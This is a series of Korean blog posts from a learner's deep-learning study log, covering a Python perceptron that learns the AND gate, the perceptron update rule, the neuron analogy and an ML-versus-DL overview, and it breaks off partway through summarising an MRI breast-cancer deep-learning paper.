    print(f'입력: {sample} -> 출력: {perceptron.predict(sample)}') 

출력 결과

최적의 가중치: [0.2 0.1] 최적의 편향: -0.2 AND 게이트 결과: 입력: [0 0] -> 출력: 0 입력: [0 1] -> 출력: 0 입력: [1 0] -> 출력: 0 입력: [1 1] -> 출력: 1

이제 위 코드에서 각 함수 별로 뜯어보기로 하자.

코드 뜯어보기

1. 초기화(초기값 설정)

>  def __init__(self, input_data_dim=2, eta=0.1, epoch=100): #input_data_dim = 데이터의 차원을 결정.
        self.weight = np.zeros(input_data_dim) #가중치를 입력된 데이터의 차원에 맞게 0으로 설정
        self.bias = 0                      # 편향
        self.eta = eta                     # 학습률
        self.epoch = epoch                 # 반복 횟수

__init__ 생성자 함수로 생성한 객체를 초기화하고 기본값을 설정.

• input_data_dim: 입력 데이터의 차원(특성의 개수)을 설정. AND 게이트에서는 2($$x_1$$, $$x_2$$)
• self.weight: 입력 데이터의 각 특성에 대한 가중치를 0으로 초기화.
• self.bias: 편향 값. 초기값은 0
• self.eta: 학습률. 학습 시 가중치와 편향 업데이트 크기를 결정.
• self.epoch: 전체 학습 데이터셋에 대해 반복 학습할 횟수.
  

2. 활성 함수(계단 함수)

  # 활성 함수(계단 함수) 구현
    def step_function(self, x, threshold=0):
        self.threshold = threshold                           # 임계값
        return 1 if x > self.threshold else 0

입력 값 x에 대해 threshold를 기준으로 이진 출력(0또는 1)을 반환하는 활성 함수로 계단 함수를 코드로 구현함.

• 퍼셉트론에서는 계단 함수(Step Function)로 동작.
• threshold: 출력이 1로 바뀌는 경계값(기본값 0)으로 임계값이라고도 함.
• x > threshold인 경우 1을 출력, 그렇지 않으면 0을 출력.
• $$y'=\begin{cases}1\quad if,z\geq0\0\quad if,z\lt0\end{cases}$$

3. 예측 함수

  # 예측값
    def predict(self, X):
        z = np.dot(X, self.weight) + self.bias
        y_predict = self.step_function(z)
        return y_predict

주어진 입력 X에 대해 모델이 예측한 결과(0 또는 1)를 반환.

1. 선형 결합 계산(가중치 곱의 합):

• z = np.dot(X, self.weight) + self.bias
• 입력 데이터 X와 가중치 벡터 self.weight의 내적(dot product)에 편향 self.bias를 더한 값.
• 쉽게 말해, 가중치 곱의 합에 편향을 더한 것이라 보면 됨.
• $$\displaystyle\sum_{i=0}^nw_ix_i+b$$

2. 활성 함수 적용:

• 선형 결합 결과 z를 step_function에 입력해 최종 예측값(y_predict) 도출.
• $$f(\displaystyle\sum_{i=0}^nw_ix_i+b)$$

3. 최종 예측값 반환.

• return y_predict

4. 학습 함수

  def fit(self, X, y):
        for epoch in range(self.epoch):
            for i in range(len(X)):
                # 예측값 계산
                z = np.dot(X[i], self.weight) + self.bias
                y_predict = self.step_function(z)
>
                # 오차 계산
                error = y[i] - y_predict
>
                # 가중치, 편향 업데이트
                self.weight += self.eta * error * X[i]
                self.bias += self.eta * error

퍼셉트론 모델을 학습시켜 가중치와 편향을 최적화함.

1. 학습 과정:

• epoch: 데이터셋 전체를 몇 번 반복할지 지정.
• z = np.dot(X[i], self.weight) + self.bias: 입력 샘플 X[i]에 대해 선형 결합 계산 수행.
• y_predict: 예측값(계단 함수 결과).
• error: 실제값 y[i]와 예측값 y_predict의 차이. -> $$e = y - y'$$

2. 가중치와 편향 업데이트:

• self.weight += self.eta * error * X[i]: 학습률과 오차를 입력 데이터와 곱해 가중치 수정. -> $$w_i = w_i + \eta\cdot e\cdot x_i$$
• self.bias += self.eta * error: 편향은 입력 데이터에 관계없이 오차와 학습률만으로 수정. -> $$b = b + \eta\cdot e$$

3. 반복적으로 학습하여 최적의 가중치와 편향을 도출한다.
   

5. 최적의 가중치와 편향 출력

  # 최적의 가중치, 편향 출력
    def print_optimized_weight_bias(self):
        print(f'최적의 가중치: {self.weight}')
        print(f'최적의 편향: {self.bias}')

학습이 완료된 후 최적화된 가중치(self.weight)와 편향(self.bias)을 출력.

AND 게이트 학습 및 예측 과정

  # AND 게이트 데이터 셋
X = np.array([[0, 0], [0, 1], [1, 0], [1, 1]]) # 입력 데이터
y = np.array([0, 0, 0, 1])                   # 출력 데이터(AND 게이트의 결과)
>
# 퍼셉트론 모델 생성 및 학습
perceptron = Perceptron()
perceptron.fit(X, y)
>
# 최적의 가중치, 편향 출력
perceptron.print_optimized_weight_bias()
>
# AND 게이트 결과 예측 및 출력
print('AND 게이트 결과: ')
for sample in X:
    print(f'입력: {sample} -> 출력: {perceptron.predict(sample)}')

1. 모델 학습(fit):

   • 입력 데이터(X)와 출력 데이터(y)를 사용해 가중치와 편향을 반복적으로 업데이트.
   • 최종적으로 AND 게이트를 만족하는 가중치와 편향 학습.

2. 결과 예측(predict):

   • 학습된 모델로 각 입력 데이터에 대한 예측 결과 출력.

3. 최적의 가중치와 편향:

   • 학습 완료 후 print_optimized_weight_bias로 가중치와 편향 확인.
     

이렇게 파이썬으로 단층 퍼셉트론을 구현해보았다. 위 코드를 통해 다양한 선형성 분류 문제를 해결할 수 있을 것이다.

단, XOR와 같이 비선형 문제는 풀 수 없다는 한계점이 있다. 이러한 한계를 극복하기 위해 나온 다층 퍼셉트론(Multi-Layer Perceptron)에 대해 다음 시간에 알아보도록 하자.

]]> https://velog.io/@jesper_ch/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EB%94%A5%EB%9F%AC%EB%8B%9D-%EA%B8%B0%EC%B4%88-%EC%9D%B8%EA%B3%B5%EC%8B%A0%EA%B2%BD%EB%A7%9DArtificial-Neural-Network%EA%B3%BC-%ED%8D%BC%EC%85%89%ED%8A%B8%EB%A1%A0Perceptron-70f4d23j https://velog.io/@jesper_ch/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EB%94%A5%EB%9F%AC%EB%8B%9D-%EA%B8%B0%EC%B4%88-%EC%9D%B8%EA%B3%B5%EC%8B%A0%EA%B2%BD%EB%A7%9DArtificial-Neural-Network%EA%B3%BC-%ED%8D%BC%EC%85%89%ED%8A%B8%EB%A1%A0Perceptron-70f4d23j Thu, 02 Jan 2025 20:45:02 GMT 이번에는 퍼셉트론(Perceptron)의 학습 방법에 대해 알아보고자 한다.

퍼셉트론의 학습 방법, 즉 알고리즘은 입력 데이터를 학습하여 적절한 가중치(weight)와 편향(bias)를 찾아내는 과정이라고 얘기할 수 있겠다.

적절한 가중치와 편향을 찾아내기 위해 모델이 예측한 예측값과 실제값의 차이, 즉 오차를 점진적으로 줄여나가는 방식으로 진행하게 된다.

이 때, 오차를 줄이는 기준이 되는 것이 손실 함수(Loss function)이다. 손실 함수는 예측값과 실제값 간의 차이를 수학적으로 정의한 함수로, 이를 최소화하는 방향으로 가중치와 편향의 값을 조정해 학습이 이루어진다.

그러면 이제 퍼셉트론이 구체적으로 어떤 방식으로 적절한 가중치와 편향을 찾아가는지, 예시를 통해 알아보기로 하자.

퍼셉트론(Perceptron) 구조 및 동작

우선, 지난번에 알아보았던 퍼셉트론(Perceptron)의 구조를 간단하게 복습해보자.

퍼셉트론(Perceptron)은 위 그림과 같이 입력, 가중치, 편향, 활성 함수, 그리고 출력으로 구성된 기초적인 인공신경망(Artificial Neural Network) 모델이다.

수식으로 나타내면 다음과 같다.

$$y=f(\displaystyle\sum_{i=0}^nw_ix_i+b) $$

$$x_i$$: 입력값 $$w_i$$(weight): 가중치 $$f$$: 활성 함수 $$b$$(bias): 편향 $$\displaystyle\sum_{i=1}^nw_ix_i$$: 가중치, 입력값 곱의 합

입력 값 $$x_i$$에 각 가중치 $$w_i$$를 곱한 값들을 모두 더한 후, 편향 $$b$$를 더해 가중치 합(weighted sum)을 구한다.

구한 가중치 합이 활성 함수(activationn function)를 거쳐 임계값(threshold)을 기준으로 분류된다.

이 때, 임계값 초과이면 출력 $$y$$는 1로, 그렇지 않으면 0으로 출력한다.

퍼셉트론(Perceptron)의 학습 알고리즘

퍼셉트론의 학습 프로세스는 다음과 같다.

1. 초기화

   • 가중치 $$w_i$$(weight)와 편향 $$b$$(bias)를 초기화 한다. 이 말은 즉, 가중치와 편향의 초기 설정을 해준다고 보면 된다.

2. 데이터 입력 및 예측값 계산

   • 입력 데이터 $$x$$ = [$$x_1$$, $$x_2$$, $$x_3$$,..., $$x_n$$]을 입력 받아 가중치 합을 구한다.

     $$z=\displaystyle\sum_{i_1}^nw_ix_i+b $$

   • 활성 함수(activation function)를 통해 출력값 $$y'$$을 구한다.

     $$y'=\begin{cases}

      1\quad if\,z\geq0\\

     0\quad if,z\lt0

      \end{cases}$$

3. 오차 계산

   • 예측값 $$y'$$과 실제값 $$y$$의 차를 구하여 오차 $$e$$를 구한다.

     $$e = y - y' $$

4. 가중치 및 편향 업데이트

   • 오차 $$e$$를 이용해 가중치와 편향을 업데이트 한다.

   • 가중치

     $$w_i = w_i + \eta\cdot e\cdot x_i $$

   • 편향

     $$b = b + \eta \cdot e $$

   여기서 $$\eta$$는 eta라고 읽으며, 학습률(learning rate)를 의미한다.

   학습률(learning rate)의 역할

   학습률은 모델의 가중치와 편향을 업데이트할 때 오차(손실 함수)를 얼마나 크게 반영할 것인지를 결정하는 비율이다.

   학습률이 없다면, 오차가 가중치와 편향이 과도하게 변화하여 학습이 불안정해지고 오히려 손실이 커지는 결과를 초래할 수 있다.

   따라서 학습률을 사용하여 손실 함수의 기울기를 따라가며 손실을 점진적으로 줄여 안정성을 확보하고 학습의 속도를 조절하여 최적의 해를 찾을 가능성을 높이면서 학습 시간을 조절하는 것이 좋겠다.

   학습률(learning rate)의 크기에 따른 영향

   학습률을 사용하더라도 크기에 따른 영향이 있기에 고려하는 것이 좋겠다.
   학습률이 너무 크면 최적의 해를 지나치거나 발산하여 학습이 실패할 수 있다. 반대로 학습률이 너무 작다면, 학습 속도가 느려지고 학습 시간이 지나치게 길어질 수 있다.

   따라서 학습률은 모델과 데이터에 따라 적절한 값으로 설정하는 것이 좋다. 일반적으로 작은 값으로 시작해 필요에 따라 점진적으로 학습률을 조정하는, 학습률 스케쥴링을 사용하기도 한다.

5. 반복 학습

   • 모든 학습 데이터에 대해 위 과정을 반복하며, 오차가 최소화되거나 설정한 반복 횟수(epoch)에 도달할 때까지 학습한다.

   • 한 epoch는 모든 학습 데이터를 한 번씩 학습하는 과정을 의미하며, 여러 epoch를 학습하는 동안 성능이 개선된다.

다음은 논리 게이트 중 AND 게이트를 학습하는 예시를 통해 위 알고리즘을 구체적으로 살펴보겠다.

AND 게이트

입력 데이터:

$$X=\begin{bmatrix}(0, 0)\(0, 1)\(1, 0)\(1, 1)\end{bmatrix} $$

출력 데이터(타겟 값): $$Y = [0, 0, 0, 1] $$

1. 초기화

   초기 가중치 및 편향 설정: $$w_1=0$$, $$w_2=0$$, $$b=0$$ 학습률 $$\eta=0.1$$

2. 데이터 입력 및 예측값 계산

   첫 번째 데이터 $$(x_1, x_2) = (0, 0), y = 0$$:

   1. 가중치 합 계산 : $$z=w_1\cdot0 + w_2\cdot0 + b $$
   2. 활성 함수 적용: $$y'=\begin{cases}

      1\quad if\,z\geq0\\

      0\quad if,z\lt0

      \end{cases} = 1$$

3. 오차 계산

   $$e = y - y'= 0 - 1 = -1 $$

4. 가중치 및 편향 업데이트

   $$w_1 = w_1 + \eta\cdot e\cdot x_1 = 0 + 0.1\cdot(-1)\cdot 0 = 0 $$ $$w_2 = w_2 + \eta\cdot e\cdot x_2 = 0 + 0.1\cdot(-1)\cdot 0 = 0 $$ $$b = b + \eta\cdot e = 0 + 0.1\cdot (-1) = -0.1 $$

위와 같이 계산 되며 AND 게이트의 두 번째 데이터 부터는 이전 데이터의 계산으로 구해진 업데이트 된 가중치와 편향으로 계산된다.

최종 결과

위 과정을 반복하여 네 개의 데이터를 모두 학습했을 때 최종 가중치와 편향 값은 아래와 같다.

최종 가중치와 편향: $$w_1 = 0.1, w_2 = 0.1, b = 0 $$

퍼셉트론(Perceptron)의 한계

퍼셉트론은 단순하지만 이진분류에서 좋은 성능을 보여주는 모델로, 위와 같은 학습 과정을 통해 적절한 가중치와 편향을 찾아낸다. 하지만 퍼셉트론은 다음과 같은 한계점이 존재한다.

1. 선형적으로 분리 가능한 문제만 해결 가능 퍼셉트론은 입력 데이터가 선형적으로 분리 가능한 경우에만 좋은 성능을 발휘한다. 예를 들어, AND나 OR 게이트는 선형적으로 분리 가능하지만, XOR 게이트 처럼 선형적으로 분리되지 않는 문제는 해결할 수 없다.

2. 단층 구조의 제한 퍼셉트론은 단층 구조(single-layer)로 이루어져 있어 보다 복잡한 패턴이나 상관관계를 학습하기 어렵다.

3. 활성 함수의 단순성 퍼셉트론은 활성 함수로 주로 계단 함수(step function)를 사용한다. 이 함수는 이산적인 출력값만 생성하기 떄문에, 미분 불가능하고 연속적인 값, 즉 확률값을 출력할 수 없다. 이는 경사하강법과 같은 더 정교한 최적화 기법을 사용하는 데 한계를 초래한다.

이러한 한계를 극복하기 위해 많은 연구가 이루어졌으며, 그 결과 오늘날 우리들이 사용하는 딥러닝 기술이 탄생하게 되었다.

다음에는 이러한 한계를 개선한 모델 중 하나인 다층 퍼셉트론(Multi-layer Perceptron)에 대해 알아보고자 한다.

]]> https://velog.io/@jesper_ch/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EB%94%A5%EB%9F%AC%EB%8B%9D-%EA%B8%B0%EC%B4%88-%EC%9D%B8%EA%B3%B5%EC%8B%A0%EA%B2%BD%EB%A7%9DArtificial-Neural-Network%EA%B3%BC-%ED%8D%BC%EC%85%89%ED%8A%B8%EB%A1%A0Perceptron https://velog.io/@jesper_ch/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EB%94%A5%EB%9F%AC%EB%8B%9D-%EA%B8%B0%EC%B4%88-%EC%9D%B8%EA%B3%B5%EC%8B%A0%EA%B2%BD%EB%A7%9DArtificial-Neural-Network%EA%B3%BC-%ED%8D%BC%EC%85%89%ED%8A%B8%EB%A1%A0Perceptron Tue, 31 Dec 2024 22:07:44 GMT 인공신경망(Artificial Neural Network, ANN)은 딥러닝의 핵심 기술로, 사람의 신경망 구조를 모방하여 데이터를 처리하고 학습하는 다층 구조의 컴퓨터 알고리즘이다. 초기에는 퍼셉트론(Perceptron)이라는 단층 구조로 시작되었으나, 현재는 다층 퍼셉트론(Multi-Layer Perceptron, MLP)과 같은 심화된 형태로 발전하여 다양한 인공지능 기술의 기반이 되고 있다. 다시 말해, 퍼셉트론은 신경망 학습을 설명하는 초기 모델 중 하나이며, 현대 인공신경망의 토대가 되는 중요한 개념이다.
퍼셉트론은 뉴런의 구조와 동작 방식을 기반으로 설계되었다. 따라서 퍼셉트론의 작동 원리를 보다 깊이 이해하기 위해, 뉴런의 구조와 정보를 처리하는 방식에 대해 먼저 살펴보도록 하겠다.

뉴런(Neuron)과 퍼셉트론(Perceptron)

뉴런(Neuron)

뉴런(Neuron)은 크게 세 가지 주요 부분으로 구성된다.

1. 가지돌기(Dendrite): 다른 뉴런으로부터 신호를 수신하는 역할.
2. 세포체(Soma): 수신된 신호를 처리하고 통합하는 기능.
3. 축삭돌기(Axon): 처리된 신호를 다음 뉴런으로 전달하는 통로 역할.

이전 뉴런에서 다음 뉴런으로 정보가 전달될 때, 시냅스(Synapse)라는 연결 지점이 관여한다. 시냅스는 뉴런 간 신호를 전달하는 매개체로, 뉴런 간의 정보 전달 과정을 조율한다. 이러한 뉴런의 정보 처리 방식은 퍼셉트론 설계의 영감을 주었다. 퍼셉트론은 뉴런이 신호를 받아 처리하고 전달하는 과정을 수학적으로 모델링한 인공신경망의 초기 형태이다.

퍼셉트론(Perceptron)

퍼셉트론은 인공신경망의 초기 형태로, 입력 데이터를 받아 가중치와 곱한 뒤, 이를 합산하여 활성화 함수를 통해 결과를 출력한다. 퍼셉트론의 구조는 다음과 같이 수식으로 표현할 수 있다.

$$y=f(\displaystyle\sum_{i=1}^nw_ix_i+b) $$

수식의 이해를 돕기 위한 퍼셉트론(Perceptron) 도식화

수식에서 $$x_i$$는 입력값, $$w_i$$는 가중치(weight), $$b$$는 편향(bias), $$f$$는 활성 함수, $$\displaystyle\sum_{i=1}^nw_ix_i$$은 가중치와 입력값의 곱을 합산한 값이다.

여기서 편향은 입력값의 합이 0이 되더라도 결과 값으로 항상 일정한 출력값을 결정할 수 있게 해주는 역할을 한다. 예를 들어, 입력값이 모두 0이라면 그 합도 0이 될 것이다. 그러나 편향이 1이라면, 출력은 1로 결정될 수 있다.

편향이 없을 때,

> 편향이 있을 때,

활성 함수는 보통 계단 함수로 사용되며, 이 함수는 입력값의 합, 즉 가중치 곱의 합이 임계값 보다 크면 1, 작으면 0을 출력하는 이진 분류를 수행한다. 임계값은 이 합산된 입력값이 얼마나 큰지에 따라 1또는 0을 출력하는 기준이 된다.

예를 들어, 가중치와 입력값의 곱을 합산한 결과가 2일 때, 임계값이 1이라면 활성화 함수는 1을 출력할 것이다. 반면, 합산 결과가 0.5일 때, 임계값이 1보다 낮으므로 출력은 0이 될 것이다.

$$\displaystyle\sum_{i=1}^nw_ix_i = 2$$ 일 때,

> $$\displaystyle\sum_{i=1}^nw_ix_i = 0.5$$ 일 때,

오늘은 인공신경망의 가장 기초적인 형태인 퍼셉트론의 구조와 그에 대한 이해를 돕기 위해 뉴런의 구조와 정보 처리 방식에 대해 알아보았다.

다음 시간에는 퍼셉트론의 학습 방법에 대해서 알아보도록 하겠다.

]]> https://velog.io/@jesper_ch/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EB%94%A5%EB%9F%AC%EB%8B%9D-%EA%B8%B0%EC%B4%88-%ED%95%B5%EC%8B%AC-%EA%B0%9C%EB%85%90-%EB%B0%8F-%EC%9A%A9%EC%96%B4-%EC%A0%95%EB%A6%AC https://velog.io/@jesper_ch/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EB%94%A5%EB%9F%AC%EB%8B%9D-%EA%B8%B0%EC%B4%88-%ED%95%B5%EC%8B%AC-%EA%B0%9C%EB%85%90-%EB%B0%8F-%EC%9A%A9%EC%96%B4-%EC%A0%95%EB%A6%AC Mon, 30 Dec 2024 12:07:02 GMT 일단 Medical AI 분야로 가기 위해서는 딥러닝에 대한 이해가 필요할 것 같다는 생각이 들었다.

사실 2020년도 부터 2021년도까지 대략 1년 정도 데이터 분석 인턴을 했었는데... 그 때 당시에 감성분석을 위해 딥러닝을 공부 했었다.(LLM이 세상에 나오기 전...)

LSTM을 주로 공부를 했었는데 사실 제대로 했었던 것 같진 않았다... 어찌됐든 회사이다 보니 빠르게 성과를 냈어야 했고 기술을 빠르게 응용하기 위해서 한 공부여서 중간중간 구멍이 좀 뚫려있는 것 같다는 느낌을 받았다.

그래서 이번 기회에 다시 기초부터 제대로 공부해보려 한다.

딥러닝(DL)이란?

딥러닝(DL)이란 무엇일까?

딥러닝(DL)을 알기 전에 인공지능(AI), 머신러닝(ML)은 무엇이며 무슨 관계인지를 먼저 알아보면 좋을 것 같다.

인공지능(AI), 머신러닝(ML)은 무엇이며 무슨 관계인가?

인공지능(AI) 은 사람의 지능적 행위를 컴퓨터가 모방하는 기술로 머신러닝(ML), 딥러닝(DL) 그리고 LLM(Large Language Model) 등을 포괄하는 큰 개념이다. 머신러닝(ML)은 인공지능(AI)의 한 분야로, 주어진 데이터에서 컴퓨터가 스스로 규칙을 찾아 학습하는 방법이다. 딥러닝(DL)은 인공지능(AI)과 머신러닝(ML)의 하위 분류이며, 사람의 지능을 모방한 신경망 구조를 이용한 인공지능 방법론이다.

머신러닝(ML)과 딥러닝(DL) 차이점

자, 그렇다면 머신러닝(ML)과 딥러닝(DL)은 어떤 차이가 있을까?

구분	머신러닝(ML)	딥러닝(DL)
데이터 처리	사람이 특성을 설계해야 함(Feature Engineering	특성을 스스로 찾아냄
알고리즘 구조	선형 회귀, 결정 트리 같은 비교적 간단한 알고리즘	신경망(Neural Network)
성능	데이터가 비교적 적어도 동작 가능	데이터가 많을수록 성능이 좋아짐
복잡도	비교적 가벼운 계산	많은 계산과 GPU 같은 고성능 장치 필요
응용 분야	추천 시스템, 가격 예측 등	음성 인식, 이미지 분석, 자율주행, 자연어 처리 등

머신러닝(ML)과 딥러닝(DL)은 데이터 처리 방식, 알고리즘 구조, 성능, 복잡도, 응용 분야에서 차이점이 있다.

우선, 데이터 처리 방식에서 머신러닝은 사람이 직접 데이터를 분석하고 중요한 특성을 설계해야 한다. 즉 Feature Engineering이 들어가야 한다는 것이다. 예를 들어 집 가격 예측 모델을 만들 때, 집의 크기, 위치, 방 수와 같은 특성을 정해주어야 한다. 반면, 딥러닝은 데이터를 주면 그 특성을 스스로 학습하고 추출할 수 있어 이미지나 음성 데이터처럼 사람이 정의하기 어려운 복잡한 데이터를 처리하는 데 강점이 있다.

알고리즘 구조에서 머신러닝은 비교적 간단한 알고리즘인 선형 회귀나 결정 트리 같은 기법을 사용한다. 이런 알고리즘은 계산이 빠르고 간단하게 예측할 수 있지만, 복잡한 데이터에서는 성능의 한계가 있을 수 있다. 딥러닝은 신경망(Neural Network) 구조를 사용하여 여러 층을 통해 데이터를 더욱 세밀하게 분석하고 패턴을 추출한다. 그러나 많은 계산량이 필요하고, 고성능의 장치가 필요해 계산에 시간이 많이 소요된다는 단점이 있다.

성능면에서는 머신러닝은 적은 데이터로도 성능을 낼 수 있다. 물론 데이터가 많으면 많을수록 성능은 더욱 향상되지만 그것에 한계가 존재한다. 반면, 딥러닝은 대량의 데이터에서 성능이 크게 향상되며, 데이터가 많으면 많을수록 학습의 성능이 좋아지므로 이미지 분석이나 자연어 처리 같은 방대한 데이터가 필요한 문제에 적합하다고 할 수 있다.

복잡도 측면에서 머신러닝이 상대적으로 가벼운 계산을 요구하고 고성능 장치 없이도 동작할 수 있어 간단한 문제 해결에 적합하다. 하지만 딥러닝은 복잡한 신경망을 훈련시키기 위해 많은 계산 자원과 GPU 같은 고성능 장치가 필요하며, 모델 훈련에 꽤 오랜 시간이 걸릴 수 있다.

마지막으로, 응용 분야에서 머신러닝은 추천 시스템, 가격 예측, 간단한 분류 문제 등과 같이 비교적 적은 데이터로 잘 동작하는 문제에 주로 사용된다. 반면, 딥러닝은 음성 인식, 이미지 분석, 자율주행, 자연어 처리 등 데이터가 방대하고 복잡한 문제를 해결하는 데 주로 사용된다.

머신러닝(ML)과 딥러닝(DL)은 각각의 강점이 다르며, 문제의 특성에 맞춰 선택하여 사용하는 것이 중요하다.

딥러닝(DL)의 구조와 모델

지금까지 딥러닝(DL)에 대해 대략적으로 알아보았다. 이제부터 딥러닝(DL)의 가장 큰 특징인 신경망(Neural Network)과 여러 모델에 대해 간략하게 알아보고자 한다.

신경망(Neural Network)

딥러닝(DL)의 가장 큰 특징은 신경망(Neural Network)을 통한 학습 방식이다.

딥러닝(DL)의 신경망(Neural Network)은 인간의 신경망 구조를 모방한 것으로 딥러닝에서는 이것을 인공신경망(Artificial Neural Network) 또는 퍼셉트론(Perceptron)이라 한다.

인공신경망은 여러 개의 노드(Node)와 층(Layer)으로 구성되어 있으며, 각 노드는 입력된 데이터를 처리하고 그 결과를 다음 층으로 전달하는 방식으로 작동한다. 인공신경망은 입력층(Input Layer), 은닉층(Hidden Layer), 출력층(Output Layer)으로 이루어져 있으며, 각 층은 여러 개의 노드로 구성된다.

• 입력층(Input Layer): 인공신경망의 첫 번째 층으로, 외부에서 들어오는 데이터를 받는 역할을 한다.

• 은닉층(Hidden Layer): 입력된 데이터를 처리하는 중간 층으로, 해당 층의 수와 노드의 수에 따라 인공신경망의 성능과 복잡도가 결정된다.

• 출력층(Output Layer): 모델의 최종 예측값이나 결과를 생성하는 층이다.

각 층의 노드는 가중치(Weight)와 편향(Bias)을 적용하여 입력을 변형한 후, 활성화 함수(Activation Function)를 통해 출력을 계산한다. 이 과정이 반복되면 인공신경망은 점차적으로 데이터를 잘 분류하거나 예측할 수 있도록 학습하게 된다. 인공신경망은 역전파(Backpropagation)라는 알고리즘을 통해 학습하는데, 이 알고리즘은 모델이 예측한 값과 실제 값 사이의 오차를 계산하고, 이를 바탕으로 가중치와 편향을 조정하여 모델을 개선한다. 이러한 방식으로 인공신경망은 복잡한 패턴을 학습하고, 다양한 데이터에 대한 예측을 수행할 수 있는 것이다.

딥러닝 모델

다음으로, 딤러닝의 대표적인 모델들에 대해 간략히 소개하고자 한다.

1. 합성곱 신경망(CNN, Convolutional Neural Network)

합성곱 신경망은 주로 이미지 처리에 좋은 성능을 보여주는 모델이다. CNN은 이미지에서 중요한 특징을 자동으로 추출할 수 있도록 설계된 모델로, 합성곱 층(Convolutional Layer), 풀링 층(Pooling Layer), 그리고 완전 연결층(Fully Connected Layer)으로 구성된다. 이미지 분류, 물체 인식, 얼굴 인식 등에서 널리 사용된다.

2. 순환 신경망(RNN, Recurrent Neural Network)

순환 신경망은 시퀀스 데이터를 처리하는 데 특화된 모델로, 이전 입력값을 기억하고 그 정보를 다음 시간 단계로 전달한다. RNN은 자연어 처리(NLP), 음성 인식, 주가 예측 등 시퀀스 형태의 데이터를 다룰 때 사용된다. 기본 RNN은 기울기 소실 문제(Vanishing Gradient Problem)를 겪기 때문에 이를 개선한 LSTM(Long Short-Term Memory)과 GRU(Gated Recurrent Unit) 모델이 많이 사용된다.

3. 생성적 적대 신경망(GAN, Generative Adversarial Network)

생성적 적대 신경망은 두 개의 신경망을 경쟁적으로 훈련시키는 모델로, 이미지 생성, 스타일 변환, 데이터 증강 등에 사용된다. 하나는 데이터를 생성하는 생성자(Genrator)이고, 다른 하나는 생성된 데이터가 진짜인지 가짜인지를 구별하는 판별자(Discriminator)이다. 이 두 네트워크는 서로 경쟁하면서 점점 더 진짜와 유사한 데이터를 생성하게 된다.

4. 트랜스포머(Transformer)

트랜스포머 모델은 자연어 처리(NLP) 분야에서 주로 사용되는 모델로, 시퀀스 데이터를 처리하는데 매우 효율적이다. 트랜스포머는 RNN을 대체할 수 있는 모델로, 어텐션 매커니즘(Attention Mechanism)을 사용하여 입력 데이터의 중요 부분을 강조하고, 병렬 처리 능력을 개선하여 성능을 높인다. BERT, GPT, T5와 같은 모델들이 트랜스포머 아키텍처를 기반으로 하고 있다.

오늘은 딥러닝과 인공지능, 머신러닝의 관계와 머신러닝과 딥러닝의 차이점, 그리고 딥러닝의 기본 원리와 여러 모델들에 대해 간략히 알아보았다.

다음 시간에는 인공신경망에 대해 좀더 자세히 다뤄보고자 한다.

]]> https://velog.io/@jesper_ch/%EB%85%BC%EB%AC%B8-MRI%EC%99%80-%EB%94%A5%EB%9F%AC%EB%8B%9D%EC%9D%84-%ED%99%9C%EC%9A%A9%ED%95%9C-%EB%B3%91%EB%A6%AC%ED%95%99%EC%A0%81-%EC%99%84%EC%A0%84-%EB%B0%98%EC%9D%91pCR-%EC%98%88%EC%B8%A1-%EC%97%B0%EA%B5%AC-%EB%85%BC%EB%AC%B8-%EC%9A%94%EC%95%BD%EC%A0%95%EB%A6%AC https://velog.io/@jesper_ch/%EB%85%BC%EB%AC%B8-MRI%EC%99%80-%EB%94%A5%EB%9F%AC%EB%8B%9D%EC%9D%84-%ED%99%9C%EC%9A%A9%ED%95%9C-%EB%B3%91%EB%A6%AC%ED%95%99%EC%A0%81-%EC%99%84%EC%A0%84-%EB%B0%98%EC%9D%91pCR-%EC%98%88%EC%B8%A1-%EC%97%B0%EA%B5%AC-%EB%85%BC%EB%AC%B8-%EC%9A%94%EC%95%BD%EC%A0%95%EB%A6%AC Sat, 28 Dec 2024 18:36:37 GMT 앞으로 Medical Ai 분야로 진출하기 위해 꾸준히 공부하고, 공부한 것들을 블로그에 정리해보려 한다. 논문 요약 정리 및 리뷰, 관련 프로젝트나 아티클 등에 대해서도 정리해서 올려보고자 한다.

그 첫번째로 논문을 요약 정리를 해보고자 한다.

논문 정보는 아래 링크에 가면 볼 수 있다. 논문 링크: https://www.nature.com/articles/s41598-024-74276-w 논문 제목: Deep-learning based discrimination of pathologic complete response using MRI in HER2-positive and triple-negative breast cancer

우선 해당 논문은 HER2 양성 및 삼중 음성 유방암 환자에서 신보조화학요법(NAC) 후 병리학적 완전 반응(pathologic complete response, pCR) 여부를 MRI를 이용해 딥러닝 모델을 통해 예측하는 연구이다.

연구 배경 및 목적

• NAC는 유방암 환자의 초기 종양 크기 및 림프절 전이를 줄여 보존적 수술을 가능하게 하지만, NAC 후 잔여 종양 여부를 평가하는 것이 중요.
• 기존의 영상기법은 정확도가 부족하여, 딥러닝을 활용해 MRI 데이터를 기반으로 pCR을 보다 정확히 예측하려는데 목적이 있음.

연구 방법

• 연구 대상: 2017~2021년 서울대학교병원에서 NAC 후 수술을 받은 HER2 양성 및 삼중 음성 유방암 환자 852명.
• 데이터: NAC 후 DCE-MRI와 임상 데이터를 사용.
• 딥러닝 모델: 3D Convolution Neural Netword(합성곱 신경망) ResNet50 모델 아키텍쳐 기반으로 개발, DCE-MRI의 특정 단일 또는 여러 동적 단계를 입력 데이터로 활용.
• 모델 유형:

1. 단일 동적 단계 모델(sub1, sub3, sub5).
2. 여러 동적 단계를 통합한 모델.
3. MRI와 임상 데이터를 통합한 모델.

• 성능 비교: 학습 데이터와 검증 데이터(8.5:1.5비율)로 나눠 AUC(Receiver Operating Characteristic Curve)를 통해 성능 평가.

연구 결과

1. 딥러닝 모델의 지연 단계(sub5)성능

• 지연 단계(sub5) MRI 데이터를 사용한 딥러닝 모델이 가장 높은 AUC 값 0.74를 기록.
• 이는 초기 단계(sub1, AUC=0.69)보다 더 나은 성능을 보였고, 통계적으로 유의미한 차이를 확인(P=0.013).
• 지연 단계는 NAC 이후 조영제 투여 후 종양의 잔여 부분이 더 뚜렷하게 드러나기 때문에, 딥러닝 모델이 더 정확히 pCR 여부를 구별할 수 있었던 것으로 보임.

2. 여러 동적 단계(Multiple Phase) 및 임상 데이터 통합 모델

